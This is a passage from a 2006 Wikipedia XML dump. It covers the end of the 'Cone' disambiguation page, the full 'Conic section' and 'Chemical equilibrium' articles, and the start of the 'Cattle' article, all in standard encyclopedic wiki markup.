* In [[pottery]] and [[ceramic]] manufacture, a '''[[pyrometric cone]]''' is a tapered mineral stick used to gauge the effect of time at raised [[temperature]] within a [[kiln]].
*An '''[[ice cream cone]]''' is a container for [[ice cream]], shaped like an inverted cone open at its top. It is often made of edible [[pastry]].
*A '''[[traffic cone]]''' is a brightly colored cone-shaped plastic object commonly used as a temporary traffic barrier or warning sign.
*In [[basketball]], a '''cone''' is a player who is so slow and unskilled that he can be dribbled around as if he was a traffic cone.
* To '''smoke a cone''' is a slang term for smoking [[marijuana]] using a [[bong]] with a '''[[conepiece]]'''.
*A '''cone''' is the name given to an [[Optical fiber|optical fibre]] that tapers almost to a point, used for concentrating [[laser]] or other light.
*The part of a [[loudspeaker]] that moves the air, creating [[sound|sound waves]], is called the '''cone'''. It is often made of paper or plastic.

The word '''cone''' (and its derivatives '''conic''', '''conical''', '''to cone''', etc.) also have several specialized meanings in [[mathematics]]:

*In [[geometry]]:
** [[cone (solid)|'''cone''' (solid)]], the basic shape.
** the '''cone of''' an arbitrary [[set (mathematics)|set]] ''X'' means the union of all [[line segment]]s connecting a fixed point to points of ''X''. For example, this '''coning''' operation will turn a [[triangle]] into a [[tetrahedron]].
** in particular, a '''[[conic solid]]''' is the cone of a plane figure.
** a '''[[projective cone]]''' is a similar (but more general) concept in [[projective geometry]]. 
** a '''[[conical surface]]''' is generated by a moving line with one fixed point.
**a '''[[conic section]]''' is any [[curve]] obtained by cutting a conical surface by an arbitrary plane.
*In [[topology]], too, '''coning''' may be applied to a [[topological space]], e.g. to define the [[barycentric subdivision]] of a [[cell complex]]; see [[cone (topology)]].
*In [[linear algebra]], a '''cone''' is a subset of vector space closed under positive scaling; see [[cone (linear algebra)]]. In particular, a '''[[convex cone]]''' is a cone that is closed under [[convex combination]]s.
*In [[graph theory]], a '''[[cone graph]]''' is a graph with a [[universal vertex]] (a vertex that is connected to all others vertices). 
*In [[geometry]], especially [[descriptive geometry]], &quot;'''conical projection'''&quot; is another name for a [[central projection]], in particular the [[perspective projection]].
*In [[cartography]], however, a '''conic''' (or '''conical''') '''projection''' maps the [[sphere|spherical]] surface of the [[Earth]] to a [[conical surface]], that is then [[developable|unrolled]] onto a plane; see [[map projection]].

'''Cone''' can also be a proper name or nickname:

*'''Cone''' is the nickname of [[Jason McCaslin]], bassist for the [[Canada|Canadian]] band [[Sum 41]].
*'''[[Fairfax M. Cone]]''' was an [[United States|American]] advertising executive sometimes called the &quot;father of modern advertising&quot;.


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  <page>
    <title>Conic section</title>
    <id>5305</id>
    <revision>
      <id>41630822</id>
      <timestamp>2006-02-28T17:28:52Z</timestamp>
      <contributor>
        <username>Ugur Basak Bot</username>
        <id>735354</id>
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      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">[[Image:Conic_sections_3.png|thumb|288px|right|Types of conic sections]]
[[Image:Table_of_Conics,_Cyclopaedia,_volume_1,_p_304,_1728.jpg|thumb|right|250px|Table of conics, ''[[Cyclopaedia]]'', 1728]]

In [[mathematics]], a '''conic section''' (or just '''conic''') is a [[curve]] formed by intersecting a [[cone (solid)|cone]] (more precisely, a right circular [[conical surface]]) with a [[plane (mathematics)|plane]]. The conic sections were named and studied as long ago as 200 BC, when [[Apollonius of Perga]] undertook a systematic study of their properties.

==Types of conics==
Two well-known conics are the [[circle]] and the [[ellipse]]. These arise when the intersection of cone and plane is a [[closed curve]]. The circle is a  special case of the ellipse in which the plane is perpendicular to the axis of the cone. If the plane is parallel to a generator line of the cone, the conic is called a [[parabola]]. Finally, if the intersection is an open curve and the plane is not parallel to a generator line of the cone, the figure is a [[hyperbola]]. (In this case the plane will intersect ''both'' halves of the cone, producing two separate curves, though often one is ignored.)

The degenerate cases, where the plane passes through the [[wiktionary:apex|apex]] of the cone, resulting in an intersection figure of a [[point (geometry)|point]], a [[straight line]], or a pair of intersecting lines, are often excluded from the list of conic sections.

===Conics as point loci===
Each type of conic can be defined as the [[locus (mathematics)|locus]] of all [[point (geometry)|points]] ''P'' with a certain property:
* Circle: &lt;math&gt;dist(P,C)=r&lt;/math&gt;, where ''C'' is a fixed point (the ''center''), and ''r'' is a fixed constant (the ''radius'').
* Parabola: &lt;math&gt;dist(P,F)=dist(P,L)&lt;/math&gt;, where ''F'' is a fixed point (the ''[[focus (geometry)|focus]]''), and ''L'' is a fixed line (the ''directrix'') not containing ''F''.
* Ellipse: &lt;math&gt;dist(P,A)+dist(P,B) = d&lt;/math&gt;, where ''A'',''B'' are distinct fixed points (the ''foci''), and &lt;math&gt;d &gt; dist(A,B)&lt;/math&gt; is a fixed constant (the ''major diameter'')
* Hyperbola: &lt;math&gt;dist(P,A)-dist(P,B) = d&lt;/math&gt;, where ''A'',''B'' are distinct fixed points (the ''foci''), and &lt;math&gt;d &lt; dist(A,B)&lt;/math&gt; is a fixed constant.&lt;!-- Is there a name for ''d''?--&gt;

===Eccentricity===
[[Image:Eccentricity.png|right|thumb|280px|&lt;FONT COLOR=&quot;#ff0000&quot;&gt;Ellipse (''e''=1/2)&lt;/FONT&gt;, &lt;FONT COLOR=&quot;#00ff00&quot;&gt;parabola (''e''=1)&lt;/FONT&gt; and &lt;FONT COLOR=&quot;#0000ff&quot;&gt;hyperbola (''e''=2)&lt;/FONT&gt; with fixed focus ''F'' and directrix.]]
The four defining conditions above can be combined into one condition that depends on a fixed point ''F'' (the ''focus''), a line ''L'' (the ''directrix'') not containing ''F'' and a nonnegative real number ''e'' (the ''[[Eccentricity (mathematics)|eccentricity]]''). The corresponding conic section consists of all points whose distance to ''F'' equals ''e'' times their distance to ''L''. For 0 &lt; ''e'' &lt; 1 we obtain an ellipse, for ''e'' = 1 a parabola, and for ''e'' &gt; 1 a hyperbola.

For an ellipse and a hyperbola, two focus-directrix combinations can be taken, each giving the same full ellipse or hyperbola. The distance from the center to the directrix is &lt;math&gt;{a}\over{e}&lt;/math&gt;, where &lt;math&gt;a&lt;/math&gt; is the [[semi-major axis]] of the ellipse, or the distance from the center to the tops of the hyperbola. The distance from the center to a focus is &lt;math&gt;ae&lt;/math&gt;.

In the case of a circle ''e'' = 0 and one imagines the directrix to be infinitely far removed from the center. However, the statement that the circle consists of all points whose distance is e times the distance to L is not useful, because we get zero times infinity.

The eccentricity of a conic section is thus a measure of how far it deviates from being circular.

For a given &lt;math&gt;a&lt;/math&gt;, the closer &lt;math&gt;e&lt;/math&gt; is to 1, the smaller is the [[semi-minor axis]].

==Conics in analytic geometry==

In the [[Cartesian coordinate system]], the graph of a [[quadratic equation]] in two variables is always a conic section, and all conic sections arise in this way. If the equation is of the form
:&lt;math&gt;ax^2 + 2hxy + by^2 +2gx + 2fy + c = 0\;&lt;/math&gt;

[[Image:Conic sections 2.png|right|450px|thumb|Graphic visualizations of the conic sections]]
then:
* if ''h''&lt;sup&gt;2&lt;/sup&gt; = ''ab'', the equation represents a [[parabola]];
* if ''h''&lt;sup&gt;2&lt;/sup&gt; &lt; ''ab'' and ''a'' &lt;math&gt; \ne&lt;/math&gt;  ''b'' and/or ''h''&lt;math&gt; \ne&lt;/math&gt;0 , the equation represents an [[ellipse]];
* if ''h''&lt;sup&gt;2&lt;/sup&gt; &gt; ''ab'', the equation represents a [[hyperbola]];
* if ''h''&lt;sup&gt;2&lt;/sup&gt; &lt; ''ab'' and ''a'' = ''b'' and ''h'' = 0, the equation represents a [[circle]];
* if ''a'' + ''b'' = 0, the equation represents a [[hyperbola|rectangular hyperbola]].

==Semi-latus rectum and polar coordinates==
[[Image:Elps-slr.png|right|thumb|400px|Semi-latus rectum in the case of an ellipse]]

The '''semi-latus rectum''' of a conic section, usually denoted ''l'', is the distance from the single focus, or one of the two foci, to the conic section itself, measured along a line perpendicular to the major axis. It is related to ''a'' and ''b'' by the formula &lt;math&gt;al=b^2\,\!&lt;/math&gt;, or &lt;math&gt;l=a(1-e^2)\,\!&lt;/math&gt;.

In [[coordinates (elementary mathematics)|polar coordinates]], a conic section with one focus at the origin and, if any, the other on the positive ''x''-axis, is given by the equation
: &lt;math&gt;r (1 - e \cos \theta) = l\,\!&lt;/math&gt;.

==Properties==
Conic sections are always &quot;smooth&quot;.  More precisely, they never contain any [[inflection point]]s.  This is important for many applications, such as aerodynamics, where a smooth surface is required to ensure [[laminar flow]] and to prevent [[turbulence]].

==Applications==
Conic sections are important in [[astronomy]]: the [[orbit]]s of two massive objects that interact according to [[gravity|Newton's law of universal gravitation]] are conic sections if their common [[center of mass]] is considered to be at rest. If they are bound together, they will both trace out ellipses; if they are moving apart, they will both follow parabolas or hyperbolas. See [[N-body_problem#Two-body_problem|two-body problem]].

In [[projective geometry]], the conic sections in the projective plane are equivalent to each other [[up to]] [[projective transformation|projective transformations]].

For specific applications of each type of conic section, see the articles [[circle]], [[ellipse]], [[parabola]], and [[hyperbola]].

==Dandelin spheres==

See [[Dandelin spheres]] for a short elementary argument showing that the characterization of these curves as intersections of a plane with a cone is equivalent to the characterization in terms of foci, or of a focus and a directrix.

== Derivation ==
Let there be a cone whose axis is the ''z''-axis.  Let its vertex be the origin.  The equation for the cone is
:&lt;math&gt; x^2 + y^2 - a^2 z^2 = 0 \qquad \qquad (1) &lt;/math&gt;
where
:&lt;math&gt; a = \tan \theta &gt; 0 \;&lt;/math&gt;
and &lt;math&gt;\theta &lt;/math&gt; is the angle which the generators of the cone make with respect to the axis.  Notice that this cone is actually a pair of cones: one cone standing upside down on the vertex of the other cone&amp;mdash;or, as mathematicians say, this cone consists of two &quot;nappes.&quot;

Let there be a plane with a slope running along the ''x'' direction but which is level along the ''y'' direction.  Its equation is 

:&lt;math&gt; z = mx + b \qquad \qquad (2) &lt;/math&gt;

where

:&lt;math&gt; m = \tan \phi &gt; 0 \;&lt;/math&gt;

and &lt;math&gt;\phi&lt;/math&gt; is the angle of the plane with respect to the ''x-y'' plane.

We are interested in finding the intersection of the cone and the plane, which means that equations (1) and (2) shall be combined.  Both equations can be solved for ''z'' and then equate the two values of ''z''.  Solving equation (1) for ''z'' yields
:&lt;math&gt; z = \sqrt{x^2 + y^2 \over a^2} &lt;/math&gt;
therefore
:&lt;math&gt; \sqrt{x^2 + y^2 \over a^2} = m x + b. &lt;/math&gt;
Square both sides and expand the squared [[binomial]] on the right side,
:&lt;math&gt; {x^2 + y^2 \over a^2} = m^2 x^2 + 2 m b x + b^2. \;&lt;/math&gt;
Grouping by variables yields
:&lt;math&gt; x^2 \left( {1 \over a^2} - m^2 \right) + {y^2 \over a^2} - 2 m b x - b^2 = 0. \qquad \qquad (3) &lt;/math&gt;

Note that this is the equation of the projection of the conic section on the ''xy''-plane, hence contracted in the x-direction compared with the shape of the conic section itself.

===Derivation of the parabola===
The parabola is obtained when the slope of the plane is equal to the slope of the generators of the cone.  When these two slopes are equal, then the angles &lt;math&gt;\theta &lt;/math&gt; and &lt;math&gt;\phi&lt;/math&gt; become [[complementary angles|complementary]].  This implies that
:&lt;math&gt; \tan \theta = \cot \phi \;&lt;/math&gt;
therefore
:&lt;math&gt; m = {1 \over a}. \qquad \qquad (4) &lt;/math&gt;
Substituting equation (4) into equation (3) makes the first term in equation (3) vanish, and the remaining equation is
:&lt;math&gt; {y^2 \over a^2} - {2 \over a} b x - b^2 = 0. &lt;/math&gt;
Multiply both sides by ''a&lt;sup&gt;2&lt;/sup&gt;'',
:&lt;math&gt; y^2 - 2 a b x - a^2 b^2 = 0 \;&lt;/math&gt;
then solve for ''x'',
:&lt;math&gt; x = {1 \over 2 a b} y^2 - {a b \over 2}. \qquad \qquad (5) &lt;/math&gt;
Equation (5) describes a [[parabola]] whose axis is parallel to the ''x''-axis.  Other versions of equation (5) can be obtained by rotating the plane around the ''z''-axis.

===Derivation of the ellipse===
An ellipse happens when the angles &lt;math&gt;\theta&lt;/math&gt; and &lt;math&gt;\phi&lt;/math&gt;, when added together, do not measure up to a right angle:
:&lt;math&gt; \theta + \phi &lt; {\pi \over 2} \qquad \qquad \mbox{(ellipse)} &lt;/math&gt;
which implies that the tangent of the sum of these two angles is positive.
:&lt;math&gt; \tan (\theta + \phi) &gt; 0. \;&lt;/math&gt;
But a [[trigonometric identity]] states that
:&lt;math&gt; \tan (\theta + \phi) = {\tan \theta + \tan \phi \over 1 - \tan \theta \tan \phi} &lt;/math&gt;
therefore
:&lt;math&gt; \tan (\theta + \phi) = {m + a \over 1 - m a} &gt; 0 \qquad \qquad (6)&lt;/math&gt;
but ''m + a'' is positive, since the summands are given to be positive, so inequality (6) is positive if the denominator is also positive:
:&lt;math&gt; 1 - m a &gt; 0. \qquad \qquad (7) &lt;/math&gt;
From inequality (7) we can deduce
:&lt;math&gt; m a &lt; 1, \;&lt;/math&gt;
:&lt;math&gt; m^2 a^2 &lt; 1, \;&lt;/math&gt;
:&lt;math&gt; 1 - m^2 a^2 &gt; 0, \;&lt;/math&gt;
:&lt;math&gt; {1 \over m^2 a^2} &gt; 1, &lt;/math&gt;
:&lt;math&gt; {1 \over m^2 a^2} - 1 &gt; 0, &lt;/math&gt;
:&lt;math&gt; {1 \over a^2} - m^2 &gt; 0 \qquad \qquad \mbox{(ellipse)}. &lt;/math&gt;

Let us start out again from equation (3),
:&lt;math&gt; x^2 \left( {1 \over a^2} - m^2 \right) + {y^2 \over a^2} - 2 m b x - b^2 = 0, \qquad \qquad (3) &lt;/math&gt;
but this time the coefficient of the ''x&lt;sup&gt;2&lt;/sup&gt;'' term does not vanish but is instead positive.  Solve for ''y'', 
:&lt;math&gt; y = a \sqrt{ b^2 + 2 m b x - x^2 \left( {1 \over a^2} - m^2 \right)}. \qquad \qquad (8) &lt;/math&gt;
This would clearly describe an ellipse were it not for the second term under the radical, the ''2&amp;nbsp;m&amp;nbsp;b&amp;nbsp;x'': it would be the equation of a circle which has been stretched proportionally along the directions of the ''x''-axis and the ''y''-axis.  Equation (8) is an ellipse but it is not obvious, so it will be rearranged further until it is obvious.  Complete the square under the radical,
:&lt;math&gt; y = a \sqrt{ b^2 - \left[ x \sqrt{ {1 \over a^2} - m^2} - {b \over \sqrt{ {1 \over a^2 m^2} - 1}} \right]^2 + \left( {b^2 \over {1 \over a^2 m^2} - 1} \right)}. &lt;/math&gt;
Group together the ''b&lt;sup&gt;2&lt;/sup&gt;'' terms,
:&lt;math&gt; y = a \sqrt{ b^2 \left( 1 + {1 \over {1 \over a^2 m^2} - 1} \right) - \left[x \sqrt{ {1 \over a^2} - m^2} - {b \over \sqrt{{1 \over a^2 m^2} - 1}} \right]^2 }.  &lt;/math&gt;

Divide by ''a'' then square both sides,
:&lt;math&gt; {y^2 \over a^2} + \left( x \sqrt{{1 \over a^2} - m^2} - {b \over \sqrt{{1 \over a^2 m^2} - 1}} \right)^2 = b^2 \left( 1 + {1 \over {1 \over a^2 m^2} - 1} \right). &lt;/math&gt;
The ''x'' has a coefficient.  It is desired to pull this coefficient out by factoring it out of the second term which is a square,
:&lt;math&gt; {y^2 \over a^2} + \left( {1 \over a^2} - m^2 \right) \left( x - {b \over \sqrt{ \left( {1 \over a^2 m^2} - 1 \right) \left( {1 \over a^2} - m^2 \right)}} \right)^2 = b^2 \left( 1 + { 1 \over {1 \over a^2 m^2} - 1} \right). &lt;/math&gt;
Further rearrangements of constants finally leads to
:&lt;math&gt; {y^2 \over 1 - a^2 m^2} + \left( x - {m b \over {1 \over a^2} - m^2} \right)^2 = { a^2 b^2 \over (1 - a^2 m^2)^2}. &lt;/math&gt;

The coefficient of the ''y'' term is positive (for an ellipse).  Renaming of coefficients and constants leads to
:&lt;math&gt; {y^2 \over A} + (x - C)^2 = R^2 \qquad \qquad (9) &lt;/math&gt;
which is clearly the equation of an ellipse.  That is, equation (9) describes a circle of radius ''R'' and center ''(C,0)'' which is then stretched vertically by a factor of &lt;math&gt; \sqrt{A} &lt;/math&gt;.  The second term on the left side (the ''x'' term) has no coefficient but is a square, so that it must be positive.  The radius is a product of squares, so it must also be positive.  The first term on the left side(the ''y'' term) has a coefficient which is positive (one of the inequalities derived earlier), so the equation describes an [[ellipse]].

===Derivation of the hyperbola===
The hyperbola happens when the angles &lt;math&gt; \theta &lt;/math&gt; and &lt;math&gt;  \phi&lt;/math&gt; add up to an obtuse angle, which is greater than a right angle.  The tangent of an obtuse angle is negative.  All the inequalities which were valid for the ellipse become reversed.  Therefore
:&lt;math&gt; 1 - a^2 m^2 &lt; 0 \qquad \qquad \mbox{(hyperbola)}. &lt;/math&gt;
Otherwise the equation for the hyperbola is the same as equation (9) for the ellipse, except that the coefficient ''A'' of the ''y'' term is negative.  The sign change is enough to convert an ellipse into a [[hyperbola]].  This is because the equation of a real ellipse contains an imaginary hyperbola, and the equation of a real hyperbola contains an imaginary ellipse (see [[imaginary number]]).  The sign change of coefficient ''A'' causes real and imaginary values of the function ''y=f(x)'' equivalent to equation (9) to swap.

== See also ==

*[[Focus (geometry)]], an overview of properties of conic sections related to the foci.
*[[Quadric]]s are the higher-dimensional analogs of conics.
*[[Matrix representation of conic sections]].
*[[Quadratic function]].

== External links ==
* [http://xahlee.org/SpecialPlaneCurves_dir/ConicSections_dir/conicSections.html Special plane curves: Conic sections]
* http://mathworld.wolfram.com/Focus.html
* [http://ccins.camosun.bc.ca/~jbritton/jbconics.htm Occurrence of the conics] in nature and elsewhere

[[Category:Conic sections|*]]
[[Category:Euclidean solid geometry]]

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  <page>
    <title>Chemical equilibrium</title>
    <id>5306</id>
    <revision>
      <id>38279031</id>
      <timestamp>2006-02-05T07:29:25Z</timestamp>
      <contributor>
        <ip>220.255.32.230</ip>
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      <comment>/* References */</comment>
      <text xml:space="preserve">'''Chemical equilibrium''' is the state in which a [[chemical reaction]] proceeds at the same rate as its [[Reversible reaction|reverse reaction]]; the rates of the forward and reverse reactions are equal, and the [[concentration]] of the reactants and products stop changing.  When this condition is met, there is no change in the [[proportion]]; i.e., concentrations of the various compounds involved, and it appears that the reaction ceases to progress. However the forward and the reverse reactions continue to occur at the same rates. A common example given is the [[Haber process|Haber-Bosch process]], in which [[hydrogen]] and [[nitrogen]] combine to form [[ammonia]]. [[Equilibrium]] is reached when the rate of production of ammonia equals its rate of decomposition. '''[[Le Chatelier's principle]]''' describes qualitative predictions that can be made about chemical equilibrium.

The equilibrium position of a [[reaction]] is said to lie ''far to the right'' if nearly all the reactants are used up and ''far to the left'' if hardly any product is formed from the reactants. Changing the conditions of a reaction can result in a shift to the right or to the left of the equilibrium position.

Without energy input chemical reactions always proceed towards equilibrium.  For a reaction at equilibrium:

:&lt;math&gt;kA + mB&lt;/math&gt; {{unicode|&amp;#8652;}} &lt;math&gt;nC + pD&lt;/math&gt;
The concentrations of reactants and products are related by the following equation:

:&lt;math&gt;K = \frac{\left[C\right]^n \left[D\right]^p} {\left[A\right]^k \left[B\right]^m}&lt;/math&gt;

where K is a constant called the [[equilibrium constant]].  This equation was discovered by [[Cato Guldberg]] and [[Peter Waage]]. The brackets in an equilibrium constant expression denote  [[molarity]] of the involved substances. The right side of the equation is called the mass action expression and is denoted ''Q'' for a generic state (not necessarily in equilibrium). In this form it is called a [[reaction quotient]]. Since chemical reactions tend to reach equilibrium, if one or several reactants are added to a system at equilibrium (thus changing the value of ''Q''), the formation of products will be favoured for an interval of time, until ''Q'' equals ''K''; and vice versa. It is important to notice that pure [[liquid|liquids]], [[solvents|solvents]] and [[solids|solids]] are not included in the equilibrium constant equation, because their concentrations remain constant.

The value of the equilibrium constant for a given system depends only on [[temperature|temperature]]. One important implication of that is the possibility of shifting an equilibrium in order to favour the formation of either reactants or products through temperature changes.

For a single-step reaction, the equilibrium can easily be derived just by considering the [[chemical kinetics|kinetics]] involved.  Unlike rate equations, though, it still holds for multi-step reactions since the expressions for each step just multiply together in order to compose the global process equation.  

In a more rigorous approach, the behaviour of a system at chemical equilibrium can be analysed by [[thermodynamics|thermodynamics]]. Chemical systems tend to reach equilibrium because it is the state in which global [[thermodynamic entropy|entropy]] is the highest (&quot;global&quot; refers to the sum of the entropy of the system and of its surroundings). As a consequence, the value of equilibrium constants depends on [[thermodynamic potentials|thermodynamic potentials]] of the system. The dependence of thermodynamic potentials explains why  equilibrium constants are related to it. The value of K is related to temperature according to the following expression:

:&lt;math&gt;K_T = K_\infty e^{-\frac{\Delta E}{RT}}&lt;/math&gt;

where &amp;Delta;''E'' is the difference in [[energy]] per mole between reactants and products, ''e'' is the [[e (mathematical constant)|base of the natural logarithm]], and ''R'' is the [[gas constant]].  The constant is mainly influenced by [[thermodynamic entropy|entropy]] change; however, analysing it using entropy is more difficult&amp;mdash;whereas energy is roughly constant against concentration, entropy varies logarithmically so it is required to refer back to a particular state.  The relationship makes the most sense in terms of the free energy difference, &amp;Delta;''F''* = &amp;Delta;''E'' - ''T''&amp;Delta;''S''*, which represents the total work that can be done by the system as it develops.  At equilibrium &amp;Delta;''F'' = 0, which gives us

:&lt;math&gt;\Delta F^* = RT \ln {\left(\frac{Q^*}{K}\right)}&lt;/math&gt;

Very often the system is considered to be at [[standard state]], where ''Q'' = 1 in appropriate units, which can then be neglected.  Note that all this applies to a reaction at constant temperature only.  For a reaction at constant pressure (which is actually somewhat more typical) the thermodynamic potential to be used would be the [[Gibbs free energy]], &amp;Delta;''G''* = &amp;Delta;''H'' - ''T''&amp;Delta;''S''*, where &amp;Delta;''H'' is the change in [[enthalpy]]. Using Gibbs free energy makes it possible to write an alternative equation:

:&lt;math&gt;\Delta G^* = -RT \ln {K}&lt;/math&gt;

It is possible to derive from those thermodynamical relations that the equilibrium constant is equal to the mass action expression at equilibrium; however, this relationship is not always strictly true. In a [[solution]], for instance, interactions between the involved substances (both solutes and solvents) could affect the equilibrium constant. Therefore, the equilibrium constant is more rigorously defined by the substances [[activity coefficients|activity coefficients]], which are usually assumed to be equal to the molarities of solutes or equal to one for solids and solvents.

==References==
Atkins, Peter; Jones, Loretta. ''Princípios de química : Questionando a vida moderna e o meio ambiente.'' Tradução por Ignez Caracelli et alii. Porto Alegre : Bookman, 2001. (Translated from Atkins, Peter; Jones, Loretta. ''Chemistry: the quest for insight''). Vaibhav Patel 2005

==See also==
*[[Equilibrium constant]]
*[[Acidity constant]]
*[[Solubility equilibrium]]
*[[Mass balance]]
*[[Free energy]]

[[Category:Physical chemistry]]

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[[es:Equilibrio de solubilidad]]
[[he:שיווי משקל כימי]]
[[hu:Dinamikus egyensúly]]
[[it:Equilibrio chimico]]
[[nl:Evenwichtsreactie]]
[[pl:Równowaga reakcji chemicznych]]
[[sv:Le Châteliers princip]]
[[tr:Kimyasal denge]]</text>
    </revision>
  </page>
  <page>
    <title>Cattle</title>
    <id>5307</id>
    <revision>
      <id>42110793</id>
      <timestamp>2006-03-03T22:13:05Z</timestamp>
      <contributor>
        <username>Thomas Connor</username>
        <id>651611</id>
      </contributor>
      <minor />
      <comment>/* Cattle in popular culture */  Disambiguate Fallout to Fallout (computer game)</comment>
      <text xml:space="preserve">&lt;!-- ATTENTION! PLEASE READ BEFORE EDITING!

Hello, and welcome to Wikipedia! Please understand that this article is one of our most vandalized, and vandalisms are reverted immediately. Vandals of this page will most likely be banned immediately, no questions asked. You will not accomplish anything by vandalizing Wikipedia. If you wish to try test editing, you may do so in our sandbox located at http://en.wikipedia.org/wiki/Wikipedia:Sandbox . Thanks! 

IN SHORT: DO NOT ABUSE YOUR PRIVILEGE TO EDIT THIS PAGE, OR YOU WILL BE REVERTED AND BANNED. --&gt;
:{{Redirect|Cow}}
{{Taxobox
| color = pink
| name = Cattle
| status = {{StatusDomesticated}}
| image = Cow.jpg
| image_width = 200px
| image_caption = Friesian/Holstein cow
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| familia = [[Bovidae]]
| subfamilia = [[Bovinae]]
| genus = ''[[Bos]]''
| species = '''''B. taurus'''''
| binomial = ''Bos taurus''
| binomial_authority = [[Carolus Linnaeus|Linnaeus]], 1758
}}
'''Cattle''' (called  '''cows''' in vernacular usage, or '''kine''' [archaic]) are [[domestication|domesticated]] [[ungulate]]s, a member of the [[subfamily]] [[Bovinae]] of the [[family (biology)|family]] [[Bovidae]].  They are raised as [[livestock]] for meat (called [[beef]] and [[veal]]), [[dairy product]]s ([[milk]]), [[leather]] and as [[draught animal]]s (pulling [[cart]]s, [[plow]]s and the like). In some countries, such as [[India]], they are subject to religious ceremonies and respect.  It is estimated that there are 1.3 billion head of cattle in the world today [http://cattle-today.com/]. 

Cattle were originally identified by [[Carolus Linnaeus]] as three separate species. These were ''Bos taurus'', the European cattle, including similar types from Africa and Asia; ''Bos indicus'', the [[zebu]]; and the extinct ''Bos primigenius'', the [[aurochs]]. The aurochs is ancestral to both zebu and European cattle. More recently these three have increasingly been grouped as one species, sometimes using the names ''Bos primigenius taurus'', ''Bos primigenius indicus'' and ''Bos primigenius primigenius''. Complicating the matter is the ability of cattle to interbreed with other closely related species. Hybrid individuals and even breeds exist, not only between European cattle and zebu but also with [[yak]]s, [[banteng]], [[gaur]], and [[bison]], a cross-genera hybrid. For example, genetic testing of the Dwarf Lulu breed, the only humpless &quot;''Bos taurus''-type&quot; cattle in Nepal, found them to be a mix of European cattle, zebu and yak. Cattle cannot successfully be bred with [[water buffalo]] or [[African buffalo]]. (See [[aurochs]] for the history of domestication, and [[zebu]] for peculiarities of that group.) 

==Terminology==
[[Image:Rainbow over cows.jpg|thumb|250px|Rainbow arching over a paddock of cattle]]
[[Image:HighlandCow.01.jpg|thumb|250px|right|Highland cow]]
[[Image:TexasLonghorn.jpeg|thumb|250px|right|Texas Longhorn]]
The word &quot;cattle&quot; did not originate as a name for bovine animals. It derives from the [[Latin language|Latin]] ''caput'', head, and thus originally meant &quot;unit of livestock&quot; or &quot;one head&quot;.  The word is closely related to &quot;chattel&quot; (a unit of property) and to &quot;[[capital]]&quot; in the sense of &quot;property.&quot;

Older English sources like [[King James Version]] of the [[Bible]] refer to livestock in general as cattle, or sometimes the archaic ''kine'' (which comes from the same English stem as ''cow'').  Additionally other species of the genus ''[[Bos]]'' are often called cattle or wild cattle. This article refers to the common modern meaning of &quot;cattle&quot;, the European domestic bovine.

Young cattle are called [[calf|calves]]. A young male is called a bull-calf; a young female before she has calved the second  time is called a '''heifer''' (pronounced &quot;heffer&quot;). A young female that has had only one calf is called a &quot;first-calf heifer.&quot;  Male cattle bred for meat are [[castration|castrated]] unless needed for breeding. The castrated male is then called a '''bullock''' or '''steer''', unless kept for draft purposes, in which case it is called an '''ox''' (plural '''oxen'''), not to be confused with the related wild [[musk ox]]. If castrated as an adult, it is called a '''stag'''. An intact male is called a '''bull'''. An adult female over two years of age (approximately) is called a '''cow'''. The adjective applying to cattle is '''bovine'''.

The term ''cattle'' itself is not a plural, but a [[mass noun]]. Thus one may refer to ''some cattle'', but not ''three cattle''. There is no singular equivalent in modern English to ''cattle'' other than the various gender and age-specific terms (though &quot;'''catron'''&quot; is occasionally seen as a half-serious proposal). Strictly speaking, the singular noun for the domestic bovine is ''ox'': a bull is a male ox and a cow is a female ox. That this was once the standard name for domestic bovines is shown in placenames such as [[Oxford]]. But &quot;ox&quot; is no longer used in this general sense, being restricted to the sense given above. Today &quot;cow&quot; is probably the closest to being gender-neutral, although it is usually understood to mean female (females of other animals, such as whales or elephants, are also called cows). To refer to a specific number of these animals without specifying their gender, it must be stated as (for example) &quot;ten head of cattle.&quot;

Some [[Australia]]n, [[Canada|Canadian]], [[New Zealand]] and [[Scotland|Scottish]] farmers use the term &quot;'''cattlebeast'''&quot;. Obsolete terms for cattle include &quot;'''neat'''&quot; (horned oxen, from which &quot;[[neatsfoot oil]]&quot; is derived), &quot;'''beef'''&quot; (young ox) and &quot;'''beefing'''&quot; (young animal fit for [[slaughtering]]). Cattle raised for human consumption are called '''beef cattle'''. Within the beef cattle industry in parts of the United States, the older term '''beef''' (plural '''beeves''') is still used to refer to an animal of either gender.  Cows of certain breeds that are kept for the milk they give are called '''[[dairy cow]]s'''. The word &quot;cow&quot; can also be used derogatively, when describing a person, whom one expresses a dislike for. In some countries, such as the UK, this [[term of disparagement|slur]] is used exclusively for women whereas in others it may be used for both genders. The word &quot;heifer&quot; is sometimes used in a similar fashion, the implication being that the target of the term is [[overweight]].

==Biology==
{{wrapper}}
|[[Image:Hereford.jpg|thumb|250px|right|Hereford heifer grazing]]
|-
|[[Image:Cow_with_calf_dsc06514.jpg|thumb|250px|right|Calf suckling milk from its mother]]
{{end}}

Cattle are [[ruminant]]s, meaning that they have a unique [[digestive system]] that allows them to digest otherwise unpalatable foods by repeatedly regurgitating and rechewing them as &quot;cud.&quot;  The cud is then reswallowed and further digested by specialized bacterial, protozoal and fungal microbes that live in the rumen.  These microbes are primarily responsible for generating the volatile fatty acids (VGAs) that cattle use as their primary metabolic fuel.  The microbes that live inside of the rumen are also able to synthesize [[amino acid]]s from non-protein nitrogenous sources such as urea and ammonia. These features allow them to thrive on [[Poaceae|grass]]es and other [[vegetation]].

Cattle have one stomach, with four compartments.  They are the [[rumen]], reticulum, [[omasum]], and [[abomasum]].  The rumen is the largest compartment and the reticulum is the smallest compartment.  Cattle sometimes consume metal objects which are deposited in the reticulum, and this is where [[hardware disease]] occurs.  The reticulum is known as the &quot;Honeycomb.&quot;  The omasum's main function is to absorb water and nutrients from the digestible feed.  The omasum is known as the &quot;Many Plies.&quot;  The abomasum is most like the human stomach; this is why it is known as the &quot;True Stomach.&quot;

The [[aurochs]] was originally spread throughout Europe, Africa, and Asia. In historical times, their range was restricted to Europe, and the last animals were killed by poachers in [[Masovia]], [[Poland]], in 1627. Breeders have attempted to recreate the original gene pool of the aurochs by careful crossing of commercial breeds, creating the [[Heck cattle]] breed.

